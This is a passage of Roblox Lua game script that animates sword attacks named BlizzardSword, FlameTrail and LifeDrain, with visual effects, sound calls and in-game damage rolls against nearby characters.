8566 | for zz = 1 , 1 do | |
8567 | local mesh = Instance.new("SpecialMesh") | |
8568 | mesh.MeshType = "Sphere" | |
8569 | mesh.Scale = Vector3.new(20,15,10) * Vector3.new(0.01,0.01,0.01) | |
8570 | local shell = Instance.new("Part") | |
8571 | mesh.Parent = shell | |
8572 | shell.Anchored = true | |
8573 | shell.formFactor = 1 | |
8574 | shell.Size = Vector3.new(1,1,1) | |
8575 | shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * 10 | |
8576 | shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0,0) | |
8577 | shell.Parent = swordholder | |
8578 | shell.Transparency = 0 | |
8579 | shell.BrickColor = BrickColor.new("Bright violet") | |
8580 | shell.CanCollide = false | |
8581 | coroutine.resume(coroutine.create(function() | |
8582 | for i = 0 , 1 , 0.02 do | |
8583 | wait() | |
8584 | mesh.Scale = Vector3.new(10,15,15) * Vector3.new(i,1,i) | |
8585 | shell.CFrame = shell.CFrame * CFrame.Angles(0,i,0) | |
8586 | shell.Transparency = 1-1*i | |
8587 | end | |
8588 | for i = 0 , 1 , 0.05 do | |
8589 | wait() | |
8590 | shell.CFrame = shell.CFrame * CFrame.Angles(0,i,0) | |
8591 | shell.Transparency = 1*i | |
8592 | end | |
8593 | shell.Transparency = 1 | |
8594 | shell.Parent = nil | |
8595 | end)) | |
8596 | end | |
8597 | for zz = 1 , 1 do | |
8598 | local mesh = Instance.new("CylinderMesh") | |
8599 | mesh.Scale = Vector3.new(20,0.5,10) * Vector3.new(0.01,0.01,0.01) | |
8600 | local shell = Instance.new("Part") | |
8601 | mesh.Parent = shell | |
8602 | shell.Anchored = true | |
8603 | shell.formFactor = 1 | |
8604 | shell.Size = Vector3.new(1,1,1) | |
8605 | shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * -0.5 | |
8606 | shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0,0) | |
8607 | shell.Parent = swordholder | |
8608 | shell.Transparency = 0 | |
8609 | shell.BrickColor = BrickColor.new("Bright violet") | |
8610 | shell.CanCollide = false | |
8611 | coroutine.resume(coroutine.create(function() | |
8612 | for i = 0 , 1 , 0.02 do | |
8613 | wait() | |
8614 | mesh.Scale = Vector3.new(20,0.5,20) * Vector3.new(i,1,i) | |
8615 | shell.Transparency = 1-1*i | |
8616 | end | |
8617 | for i = 0 , 1 , 0.02 do | |
8618 | wait() | |
8619 | shell.Transparency = 1*i | |
8620 | end | |
8621 | shell.Transparency = 1 | |
8622 | shell.Parent = nil | |
8623 | end)) | |
8624 | end | |
8625 | for zz = 1 , 10 do | |
8626 | local mesh = Instance.new("SpecialMesh") | |
8627 | mesh.MeshType = "FileMesh" | |
8628 | mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362" | |
8629 | mesh.Scale = Vector3.new(5,5,5) * Vector3.new(0.01,0.01,0.01) | |
8630 | local shell = Instance.new("Part") | |
8631 | mesh.Parent = shell | |
8632 | shell.Anchored = true | |
8633 | shell.formFactor = 1 | |
8634 | shell.Size = Vector3.new(1,1,1) | |
8635 | shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2) | |
8636 | shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90)+2*math.random(),2*math.random(),2*math.random()) | |
8637 | shell.Parent = swordholder | |
8638 | shell.Transparency = 0 | |
8639 | if math.fmod(zz,2) == 0 then | |
8640 | shell.BrickColor = BrickColor.new("Really black") | |
8641 | else | |
8642 | shell.BrickColor = BrickColor.new("Bright violet") | |
8643 | end | |
8644 | shell.CanCollide = false | |
8645 | coroutine.resume(coroutine.create(function() | |
8646 | for i = 0 , 1 , 0.01 do | |
8647 | wait() | |
8648 | mesh.Scale = Vector3.new(25,25,25) * Vector3.new(i,i,i) | |
8649 | shell.Transparency = 1*i | |
8650 | end | |
8651 | shell.Transparency = 1 | |
8652 | shell.Parent = nil | |
8653 | end)) | |
8654 | end | |
8655 | coroutine.resume(coroutine.create(function() | |
8656 | effectsg.Transparency = 1 | |
8657 | for i = 0 , 1 , 0.1 do | |
8658 | wait() | |
8659 | effectsg.Transparency = 1-1*i | |
8660 | end | |
8661 | wait(2) | |
8662 | for i = 0 , 1 , 0.1 do | |
8663 | wait() | |
8664 | effectsg.Transparency = 1*i | |
8665 | end | |
8666 | effectsg.Parent = nil | |
8667 | end)) | |
8668 | local mg = 100 | |
8669 | if Hit ~= nil then | |
8670 | mg = (point0-point1).magnitude | |
8671 | elseif Hit == nil then | |
8672 | mg = 100 | |
8673 | end | |
8674 | ls(Head,0.5) | |
8675 | ls(Head,0.75) | |
8676 | cs(Head,0.25) | |
8677 | ls(Head,1) | |
8678 | ls(Head,3) | |
8679 | cs(Head,0.15) | |
8680 | for mgg = 0 , 1,0.1 do | |
8681 | wait() | |
8682 | effectsg.Size = Vector3.new(5,(mg*mgg)+0.2,5) | |
8683 | local durr = CFrame.new((point0+(point1))/2,(point1)) | |
8684 | effectsg.CFrame = CFrame.new((point0+(point1-durr.lookVector * (mg*(1-mgg))))/2,(point1)) * CFrame.Angles(math.rad(90),0,0) | |
8685 | end | |
8686 | local critrandomizer = math.random(1,crtrate) | |
8687 | if critrandomizer ~= 1 then | |
8688 | local rndmdamage = math.random(mindamage+30,maxdamage+30) | |
8689 | AoEP((CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)).p,15,rndmdamage+darkboost,false) | |
8690 | elseif critrandomizer == 1 then | |
8691 | local rndmdamage = math.random(maxdamage+30,crtmaxdamage+30) | |
8692 | AoEP((CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)).p,15,rndmdamage+darkboost,true) | |
8693 | end | |
8694 | bp.Parent = nil | |
8695 | for i = 0 , 1 , 0.1 do | |
8696 | wait() | |
8697 | RW.C0 = CFrame.new(1,1-0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(90-45*i), math.rad(-45)) | |
8698 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
8699 | LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45*i),math.rad(45)) | |
8700 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
8701 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2) | |
8702 | RWL.C0 = CFrame.new(1, -1*i, -1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
8703 | LWL.C0 = CFrame.new(-1, -1*i, -1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
8704 | prt8.Transparency = 1*i | |
8705 | end | |
8706 | for ii = 1 , #AoETrue do | |
8707 | table.remove(AoETrue,#AoETrue) | |
8708 | end | |
8709 | RWLRem() | |
8710 | LWLRem() | |
8711 | attack = false | |
8712 | attacktype = 1 | |
8713 | end | |
8714 | function BlizzardSword() | |
8715 | attack=true | |
8716 | for i = 0 , 1 , 0.2 do | |
8717 | wait() | |
8718 | RW.C0 = CFrame.new(1,0.5+1*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45-45*i), math.rad(-45)) | |
8719 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
8720 | LW.C0 = CFrame.new(-1,0.5+1*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i),math.rad(-45+45*i),math.rad(45)) | |
8721 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
8722 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2) | |
8723 | end | |
8724 | local wssave = Character.Humanoid.WalkSpeed | |
8725 | Character.Humanoid.WalkSpeed = 0 | |
8726 | ss(Head,1.5) | |
8727 | local efftab = {} | |
8728 | for i = 0 , 1 , 0.2 do | |
8729 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8730 | wait() | |
8731 | RW.C0 = CFrame.new(1,1.5-1.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(135-135*i), math.rad(0), math.rad(-45)) | |
8732 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
8733 | LW.C0 = CFrame.new(-1,1.5-1.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(135-135*i),math.rad(0),math.rad(45)) | |
8734 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
8735 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45)) * CFrame.new(0, 0, 0.2) | |
8736 | local eff = effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true) | |
8737 | table.insert(efftab,eff) | |
8738 | end | |
8739 | local trspos = Torso.Position | |
8740 | Character.Humanoid.WalkSpeed = wssave | |
8741 | for _,efff in pairs(efftab) do | |
8742 | wait() | |
8743 | coroutine.resume(coroutine.create(function() | |
8744 | for i = 0 , 1 , 0.15 do | |
8745 | wait() | |
8746 | efff.Transparency = 1*i | |
8747 | end | |
8748 | wait() | |
8749 | efff.Transparency = 1 | |
8750 | end)) | |
8751 | end | |
8752 | for io,eff in pairs(efftab) do | |
8753 | wait() | |
8754 | for zz = 1 , 1 do | |
8755 | local mesh = Instance.new("CylinderMesh") | |
8756 | mesh.Scale = Vector3.new(0.1,0.5,0.1) | |
8757 | local shell = Instance.new("Part") | |
8758 | mesh.Parent = shell | |
8759 | shell.Anchored = true | |
8760 | shell.formFactor = 1 | |
8761 | shell.Size = Vector3.new(1,1,1) | |
8762 | local dur = CFrame.new(trspos,eff.Position) | |
8763 | local CF1 = dur * CFrame.Angles(math.rad(90),0,0) * CFrame.new(0,-6,0) | |
8764 | shell.CFrame = CF1 | |
8765 | shell.Parent = eff | |
8766 | shell.Transparency = 1 | |
8767 | shell.Reflectance = 0.25 | |
8768 | shell.BrickColor = BrickColor.new("Bright blue") | |
8769 | shell.CanCollide = false | |
8770 | is(shell,0.5) | |
8771 | coroutine.resume(coroutine.create(function() | |
8772 | for i = 0 , 1 , 0.1 do | |
8773 | wait() | |
8774 | shell.Transparency = 1-1*i | |
8775 | mesh.Scale = Vector3.new(0.1+4.9*i,0.5,0.1+4.9*i) | |
8776 | end | |
8777 | wait(0.25) | |
8778 | for i = 0 , 1 , 0.1 do | |
8779 | wait() | |
8780 | shell.Transparency = 1*i | |
8781 | mesh.Scale = Vector3.new(5-5*i,0.5-0.5*i,5-5*i) | |
8782 | end | |
8783 | shell.Parent = nil | |
8784 | end)) | |
8785 | end | |
8786 | end | |
8787 | for io,eff in pairs(efftab) do | |
8788 | wait() | |
8789 | for zz = 1 , 1 do | |
8790 | local mesh = Instance.new("SpecialMesh") | |
8791 | mesh.MeshType = "FileMesh" | |
8792 | mesh.Scale = Vector3.new(5,2,1) | |
8793 | mesh.MeshId = "rbxasset://fonts/sword.mesh" | |
8794 | local shell = Instance.new("Part") | |
8795 | mesh.Parent = shell | |
8796 | shell.Anchored = true | |
8797 | shell.formFactor = 1 | |
8798 | shell.Size = Vector3.new(2,2,5) | |
8799 | local dur = CFrame.new(trspos,eff.Position) | |
8800 | local CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,6.5)* CFrame.Angles(0,0,math.rad(90)) | |
8801 | shell.CFrame = CF1 | |
8802 | shell.Parent = eff | |
8803 | shell.Transparency = 1 | |
8804 | shell.Reflectance = 0.25 | |
8805 | shell.BrickColor = BrickColor.new("Bright blue") | |
8806 | shell.CanCollide = false | |
8807 | local hitd = 0 | |
8808 | coroutine.resume(coroutine.create(function() | |
8809 | local dd = false | |
8810 | while shell.Parent ~= nil and not dd do | |
8811 | wait() | |
8812 | local c = game.Workspace:GetChildren(); | |
8813 | for i = 1, #c do | |
8814 | local hum = c[i]:findFirstChild("Humanoid") | |
8815 | if hum ~= nil and hum.Health ~= 0 then | |
8816 | local head = c[i]:findFirstChild("Torso"); | |
8817 | if head ~= nil then | |
8818 | local targ = head.Position - shell.Position; | |
8819 | local mag = targ.magnitude; | |
8820 | if mag <= 3 and c[i].Name ~= Player.Name then | |
8821 | dd = true | |
8822 | local critrandomizer = math.random(1,crtrate) | |
8823 | if critrandomizer ~= 1 then | |
8824 | local rndmdamage = math.random(mindamage+iceboost,maxdamage+iceboost) | |
8825 | damagesplat(rndmdamage,head,false) | |
8826 | hum:TakeDamage(rndmdamage) | |
8827 | elseif critrandomizer == 1 then | |
8828 | local rndmdamage = math.random(maxdamage+iceboost,crtmaxdamage+iceboost) | |
8829 | damagesplat(rndmdamage,head,true) | |
8830 | hum:TakeDamage(rndmdamage) | |
8831 | end | |
8832 | end | |
8833 | end | |
8834 | end | |
8835 | end | |
8836 | end | |
8837 | end)) | |
8838 | coroutine.resume(coroutine.create(function() | |
8839 | uss(eff,1) | |
8840 | ||
8841 | for i = 0 , 1 , 0.1 do | |
8842 | wait() | |
8843 | shell.Transparency = 1-1*i | |
8844 | CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,6.5+2*i)* CFrame.Angles(0,0,math.rad(90)) | |
8845 | shell.CFrame = CF1 | |
8846 | mesh.Scale = Vector3.new(5,2,1+0.5*i) | |
8847 | end | |
8848 | wait(0.25) | |
8849 | ss(eff,2) | |
8850 | for i = 0 , 1 , 0.1 do | |
8851 | wait() | |
8852 | shell.Transparency = 1*i | |
8853 | CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,8.5+25*i)* CFrame.Angles(0,0,math.rad(90)) | |
8854 | shell.CFrame = CF1 | |
8855 | mesh.Scale = Vector3.new(5-5*i,2-2*i,1.5-1.5*i*i) | |
8856 | end | |
8857 | shell.Parent = nil | |
8858 | end)) | |
8859 | end | |
8860 | end | |
8861 | coroutine.resume(coroutine.create(function() | |
8862 | wait(1.5) | |
8863 | for _,eff in pairs(efftab) do | |
8864 | wait() | |
8865 | eff.Parent = nil | |
8866 | end end)) | |
8867 | for i = 0 , 1 , 0.1 do | |
8868 | wait() | |
8869 | RW.C0 = CFrame.new(1,0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80*i), math.rad(45*i), math.rad(-45)) | |
8870 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
8871 | LW.C0 = CFrame.new(-1,0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(-45*i),math.rad(45)) | |
8872 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
8873 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2) | |
8874 | end | |
8875 | attack=false | |
8876 | end | |
8877 | local FTCount = 0 | |
8878 | function FlameTrail() | |
8879 | attack=true | |
8880 | for i = 0 , 1 , 0.15 do | |
8881 | wait() | |
8882 | RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45+45*i), math.rad(-45+55*i)) | |
8883 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45*i), math.rad(0), math.rad(0)) | |
8884 | LW.C0 = CFrame.new(-1+0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45+20*i)) | |
8885 | end | |
8886 | wait(0.1) | |
8887 | ss(Head,1.5) | |
8888 | fs(Head,0.5+1.5*math.random()) | |
8889 | local efftab = {} | |
8890 | RW.C0 = CFrame.new(0.5,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(10)) | |
8891 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(0), math.rad(0)) | |
8892 | LW.C0 = CFrame.new(-0.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(65)) | |
8893 | dmgcnnct(hitbox) | |
8894 | for i = 0 , 1 , 0.15 do | |
8895 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8896 | wait() | |
8897 | RW.C0 = CFrame.new(0.5+1*i,0.5,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(10)) | |
8898 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i*i), math.rad(0), math.rad(0)) | |
8899 | LW.C0 = CFrame.new(-0.5-1*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+20*i),math.rad(-45),math.rad(65-155*i)) | |
8900 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
8901 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
8902 | if FTCount <= MaxFT then | |
8903 | local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true) | |
8904 | eff.Transparency = 1 | |
8905 | table.insert(efftab,eff) | |
8906 | FTCount = FTCount + 1 | |
8907 | OTND(eff) | |
8908 | coroutine.resume(coroutine.create(function() | |
8909 | for i = 0 , 1 , 0.15 do | |
8910 | wait() | |
8911 | eff.Transparency = 1-0.5*i | |
8912 | end | |
8913 | wait() | |
8914 | eff.Transparency = 0.5 | |
8915 | end)) | |
8916 | end | |
8917 | end | |
8918 | local rndmneg = math.random(1,2) | |
8919 | if rndmneg == 1 then | |
8920 | rndmdec1 = 13 * math.random() | |
8921 | else | |
8922 | rndmdec1 = -13 * math.random() | |
8923 | end | |
8924 | for i = 0 , 1 , 0.1 do | |
8925 | wait() | |
8926 | RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-rndmdec1*i), math.rad(90), math.rad(10-(rndmdec1*2)*i)) | |
8927 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+20*i), math.rad(0), math.rad(0)) | |
8928 | LW.C0 = CFrame.new(-1.5,0.5,-0) * CFrame.fromEulerAnglesXYZ(math.rad(100),math.rad(-45),math.rad(-90)) | |
8929 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
8930 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
8931 | end | |
8932 | ss(Head,1.5) | |
8933 | fs(Head,0.5+1.5*math.random()) | |
8934 | Hitdeb = 0 | |
8935 | for i = 0 , 1 , 0.15 do | |
8936 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8937 | wait() | |
8938 | RW.C0 = CFrame.new(1.5-1.5*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-rndmdec1), math.rad(90), math.rad(10-(rndmdec1*2))) | |
8939 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-200*i), math.rad(0), math.rad(0)) | |
8940 | LW.C0 = CFrame.new(-1.5+1*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(100-80*i),math.rad(-45),math.rad(-90+135*i)) | |
8941 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
8942 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
8943 | if FTCount <= MaxFT then | |
8944 | local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true) | |
8945 | eff.Transparency = 1 | |
8946 | table.insert(efftab,eff) | |
8947 | FTCount = FTCount + 1 | |
8948 | OTND(eff) | |
8949 | coroutine.resume(coroutine.create(function() | |
8950 | for i = 0 , 1 , 0.15 do | |
8951 | wait() | |
8952 | eff.Transparency = 1-0.5*i | |
8953 | end | |
8954 | wait() | |
8955 | eff.Transparency = 0.5 | |
8956 | end)) | |
8957 | end | |
8958 | end | |
8959 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
8960 | for i = 0 , 1 , 0.2 do | |
8961 | wait() | |
8962 | local rndmd = rndmdec1-rndmdec1*i | |
8963 | RW.C0 = CFrame.new(0,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad((90-rndmd)), math.rad(90), math.rad((10-(rndmd*2))-20*i)) | |
8964 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-90-10*i), math.rad(0), math.rad(0)) | |
8965 | LW.C0 = CFrame.new(-0.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45)) | |
8966 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
8967 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
8968 | end | |
8969 | for i = 0 , 1 , 0.1 do | |
8970 | wait() | |
8971 | RW.C0 = CFrame.new(1*i,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad(90-20*i), math.rad(90-90*i), math.rad(-10-35*i)) | |
8972 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-100+100*i), math.rad(0), math.rad(0)) | |
8973 | LW.C0 = CFrame.new(-0.5-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-10*i),math.rad(-45+45*i),math.rad(45)) | |
8974 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
8975 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2) | |
8976 | end | |
8977 | ss(Head,1.5) | |
8978 | fs(Head,0.5+1.5*math.random()) | |
8979 | wait(0.1) | |
8980 | Hitdeb = 0 | |
8981 | for i = 0 , 1 , 0.2 do | |
8982 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8983 | wait() | |
8984 | RW.C0 = CFrame.new(1,0.5+1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(70+65*i), math.rad(0), math.rad(-45)) | |
8985 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
8986 | LW.C0 = CFrame.new(-1,0.5+1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(70+65*i),math.rad(0),math.rad(45)) | |
8987 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
8988 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(45)) * CFrame.new(0, 0, 0.2) | |
8989 | if FTCount <= MaxFT then | |
8990 | local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true) | |
8991 | eff.Transparency = 1 | |
8992 | table.insert(efftab,eff) | |
8993 | FTCount = FTCount + 1 | |
8994 | OTND(eff) | |
8995 | coroutine.resume(coroutine.create(function() | |
8996 | for i = 0 , 1 , 0.15 do | |
8997 | wait() | |
8998 | eff.Transparency = 1-0.5*i | |
8999 | end | |
9000 | wait() | |
9001 | eff.Transparency = 0.5 | |
9002 | end)) | |
9003 | end | |
9004 | end | |
9005 | coroutine.resume(coroutine.create(function() | |
9006 | wait(5) | |
9007 | for _,eff in pairs(efftab) do | |
9008 | wait() | |
9009 | eff.Parent = nil | |
9010 | FTCount = FTCount - 1 | |
9011 | end end)) | |
9012 | for i = 0 , 1 , 0.1 do | |
9013 | wait() | |
9014 | RW.C0 = CFrame.new(1,1.5-1*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-55*i), math.rad(45*i), math.rad(-45)) | |
9015 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
9016 | LW.C0 = CFrame.new(-1,1.5-1*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-55*i),math.rad(-45*i),math.rad(45)) | |
9017 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
9018 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2) | |
9019 | end | |
9020 | dmgdc() | |
9021 | attack=false | |
9022 | end | |
9023 | ||
9024 | ||
9025 | function LifeDrain() | |
9026 | attack=true | |
9027 | for i = 0 , 1 , 0.1 do | |
9028 | wait() | |
9029 | RW.C0 = CFrame.new(1,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45), math.rad(-45+90*i)) | |
9030 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90*i), math.rad(0)) | |
9031 | LW.C0 = CFrame.new(-1+1.25*i,0.5+0.25*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+25*i),math.rad(-45+90*i),math.rad(45+25*i)) | |
9032 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90*i), math.rad(0)) | |
9033 | w1.C1 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 0,0) | |
9034 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
9035 | end | |
9036 | ------ | |
9037 | local nrmag = 50 | |
9038 | local nrprsn = nil | |
9039 | wait() | |
9040 | -- | |
9041 | local c = game.Workspace:GetChildren(); | |
9042 | for i = 1, #c do | |
9043 | local hum = c[i]:findFirstChild("Humanoid") | |
9044 | if hum ~= nil and hum.Health ~= 0 then | |
9045 | local head = c[i]:findFirstChild("Torso"); | |
9046 | if head ~= nil then | |
9047 | local targ = head.Position - Torso.Position; | |
9048 | local mag = targ.magnitude; | |
9049 | if mag <= 50 and c[i].Name ~= Player.Name then | |
9050 | if mag < nrmag then | |
9051 | nrmag = mag | |
9052 | nrprsn = c[i] | |
9053 | end | |
9054 | end end end end | |
9055 | -- | |
9056 | if nrprsn == nil then | |
9057 | attack = false | |
9058 | return end | |
9059 | local C = 0 | |
9060 | local bp = Instance.new("BodyPosition") | |
9061 | local bg = Instance.new("BodyGyro") | |
9062 | bp.Parent = Torso | |
9063 | bp.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
9064 | bp.P = bp.P + 10000 | |
9065 | local CF = nrprsn.Torso.CFrame | |
9066 | bp.position = CF.p + CFrame.new(Torso.Position,CF.p).lookVector * -3 | |
9067 | bg.Parent = Torso | |
9068 | bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge) | |
9069 | bg.P = bg.P + 100000 | |
9070 | bg.cframe = CFrame.new(Torso.Position,CF.p) * CFrame.Angles(math.rad(0),0,0) | |
9071 | ss(Head,2) | |
9072 | wait(0.1) | |
9073 | local FirstP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
9074 | local LastP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
9075 | for i = 0 , 1 , 0.2 do | |
9076 | wait() | |
9077 | C = C + 1 | |
9078 | RW.C0 = CFrame.new(1-1*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-90*i), math.rad(45), math.rad(45-135*i)) | |
9079 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90), math.rad(0)) | |
9080 | LW.C0 = CFrame.new(0.25-1.75*i,0.75-0.25*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(105-60*i),math.rad(45),math.rad(70-125*i)) | |
9081 | LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90), math.rad(0)) | |
9082 | w1.C1 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 0,0) | |
9083 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
